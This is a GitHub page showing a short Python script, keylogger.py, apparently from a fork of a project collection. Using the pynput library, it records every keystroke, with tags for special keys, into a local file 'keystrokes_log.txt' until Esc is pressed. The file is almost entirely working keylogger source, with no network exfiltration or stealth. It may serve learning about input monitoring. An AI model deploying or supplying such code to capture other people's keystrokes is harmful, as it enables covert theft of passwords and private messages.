forked from UTSAVS26/PyVerse
-
Notifications
You must be signed in to change notification settings - Fork 0
/
keylogger.py
50 lines (43 loc) · 1.48 KB
/
keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pynput.keyboard import Listener, Key
import time
# Path to the log file
log_file = "keystrokes_log.txt"
log_data = [] # List to store the keystrokes temporarily
# Function to handle each key press
def on_press(key):
global log_data
try:
log_data.append(key.char)
except AttributeError:
# Handle special keys like space, shift, etc.
if key == Key.space:
log_data.append(" ")
elif key == Key.enter:
log_data.append("\n")
elif key == Key.tab:
log_data.append("[Tab]")
elif key == Key.backspace:
log_data.append("[Backspace]")
else:
log_data.append(f'[{key}]')
# Periodically write to file when data size reaches a certain limit
if len(log_data) > 10: # Write every 10 keystrokes
write_log()
# Function to write log data to file
def write_log():
global log_data
with open(log_file, "a") as log:
log.write(f"{''.join(log_data)}")
log_data = [] # Clear after writing
# Function to log keystrokes with timestamps
def on_release(key):
if key == Key.esc:
# Stop listener when 'esc' is pressed
write_log() # Ensure to save the last batch of keys
return False
# Function to start the keylogger
def start_keylogger():
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
if __name__ == "__main__":
start_keylogger()